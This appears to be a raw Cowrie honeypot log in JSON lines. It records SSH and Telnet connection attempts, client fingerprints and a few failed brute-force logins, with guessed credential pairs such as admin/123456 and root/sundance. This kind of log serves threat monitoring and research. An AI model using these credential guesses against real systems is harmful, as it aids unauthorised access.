{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:18.463412Z","src_ip":"91.92.40.4","session":"3677cb301e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35734,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c47458a2a0","protocol":"telnet","message":"New connection: 107.6.151.170:35734 (159.203.135.109:23) [session: 58c47458a2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:18.541265Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:19.382703Z","src_ip":"91.92.40.4","session":"3677cb301e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:20.574233Z","src_ip":"91.92.40.4","session":"3677cb301e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d868ac1f1b","protocol":"telnet","message":"New connection: 107.6.151.170:46314 (159.203.135.109:23) [session: 41d868ac1f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:21.581038Z"}
{"eventid":"cowrie.session.closed","duration":33.8384325504303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:55.419374Z","src_ip":"107.6.151.170","session":"41d868ac1f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51977229118347,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:56.060938Z","src_ip":"107.6.151.170","session":"58c47458a2a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4374c932d0ca","protocol":"telnet","message":"New connection: 128.199.8.54:50322 (159.203.135.109:23) [session: 4374c932d0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:37.035280Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"496d6fdf138a","protocol":"ssh","message":"New connection: 194.113.233.25:44802 (159.203.135.109:22) [session: 496d6fdf138a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:37.231486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:37.234779Z","src_ip":"194.113.233.25","session":"496d6fdf138a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:37.328452Z","src_ip":"194.113.233.25","session":"496d6fdf138a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200892","message":"login attempt [root/200892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:37.631271Z","src_ip":"194.113.233.25","session":"496d6fdf138a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:38.728638Z","src_ip":"194.113.233.25","session":"496d6fdf138a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52874,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5033e69a64","protocol":"telnet","message":"New connection: 128.199.8.54:52874 (159.203.135.109:23) [session: ec5033e69a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:41.539733Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":51240,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d9d0d7c8cdc","protocol":"ssh","message":"New connection: 34.100.248.63:51240 (10.17.0.5:22) [session: 5d9d0d7c8cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:42.271767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:42.292936Z","src_ip":"34.100.248.63","session":"5d9d0d7c8cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:42.534472Z","src_ip":"34.100.248.63","session":"5d9d0d7c8cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"regina","password":"regina","message":"login attempt [regina/regina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:43.546188Z","src_ip":"34.100.248.63","session":"5d9d0d7c8cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:44.791855Z","src_ip":"34.100.248.63","session":"5d9d0d7c8cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22698,"dst_ip":"159.203.135.109","dst_port":22,"session":"87b80f013005","protocol":"ssh","message":"New connection: 38.93.206.2:22698 (159.203.135.109:22) [session: 87b80f013005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:54.276364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:54.281754Z","src_ip":"38.93.206.2","session":"87b80f013005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:54.331739Z","src_ip":"38.93.206.2","session":"87b80f013005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"58565254","message":"login attempt [root/58565254] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:54.580222Z","src_ip":"38.93.206.2","session":"87b80f013005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:59:55.633135Z","src_ip":"38.93.206.2","session":"87b80f013005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":32976,"dst_ip":"10.17.0.5","dst_port":22,"session":"606a86b5fea6","protocol":"ssh","message":"New connection: 103.15.222.183:32976 (10.17.0.5:22) [session: 606a86b5fea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.117406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.126359Z","src_ip":"103.15.222.183","session":"606a86b5fea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.377682Z","src_ip":"103.15.222.183","session":"606a86b5fea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41146,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3ea6a511354","protocol":"ssh","message":"New connection: 91.92.40.4:41146 (159.203.135.109:22) [session: c3ea6a511354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.612187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.714036Z","src_ip":"91.92.40.4","session":"c3ea6a511354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:12.717235Z","src_ip":"91.92.40.4","session":"c3ea6a511354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16051984","message":"login attempt [root/16051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:13.131711Z","src_ip":"103.15.222.183","session":"606a86b5fea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:13.878279Z","src_ip":"91.92.40.4","session":"c3ea6a511354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:14.385386Z","src_ip":"103.15.222.183","session":"606a86b5fea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:15.019500Z","src_ip":"91.92.40.4","session":"c3ea6a511354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.55821943283081,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:20.593418Z","src_ip":"128.199.8.54","session":"4374c932d0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.933905363082886,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:36.473549Z","src_ip":"128.199.8.54","session":"ec5033e69a64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60376,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a06321c0a47","protocol":"telnet","message":"New connection: 128.199.8.54:60376 (159.203.135.109:23) [session: 1a06321c0a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:46.022755Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34510,"dst_ip":"159.203.135.109","dst_port":23,"session":"41feae13fec8","protocol":"telnet","message":"New connection: 128.199.8.54:34510 (159.203.135.109:23) [session: 41feae13fec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:50.332206Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35222,"dst_ip":"159.203.135.109","dst_port":23,"session":"607e6f0cd9a8","protocol":"telnet","message":"New connection: 172.81.62.90:35222 (159.203.135.109:23) [session: 607e6f0cd9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:52.304716Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba36f985113","protocol":"telnet","message":"New connection: 172.81.62.90:48066 (159.203.135.109:23) [session: 3ba36f985113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:58.335805Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59842,"dst_ip":"159.203.135.109","dst_port":22,"session":"778eb449ef05","protocol":"ssh","message":"New connection: 103.27.238.114:59842 (159.203.135.109:22) [session: 778eb449ef05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:58.641982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:58.645818Z","src_ip":"103.27.238.114","session":"778eb449ef05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:58.919543Z","src_ip":"103.27.238.114","session":"778eb449ef05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sundance","message":"login attempt [root/sundance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:00:59.742866Z","src_ip":"103.27.238.114","session":"778eb449ef05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:01.021701Z","src_ip":"103.27.238.114","session":"778eb449ef05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48070,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e47a5cf1cc7","protocol":"telnet","message":"New connection: 172.81.62.90:48070 (159.203.135.109:23) [session: 3e47a5cf1cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:01.361090Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":34820,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd80ca7d8c13","protocol":"ssh","message":"New connection: 182.93.50.90:34820 (10.17.0.5:22) [session: fd80ca7d8c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:02.563816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:02.568092Z","src_ip":"182.93.50.90","session":"fd80ca7d8c13","protocol":"ssh"}
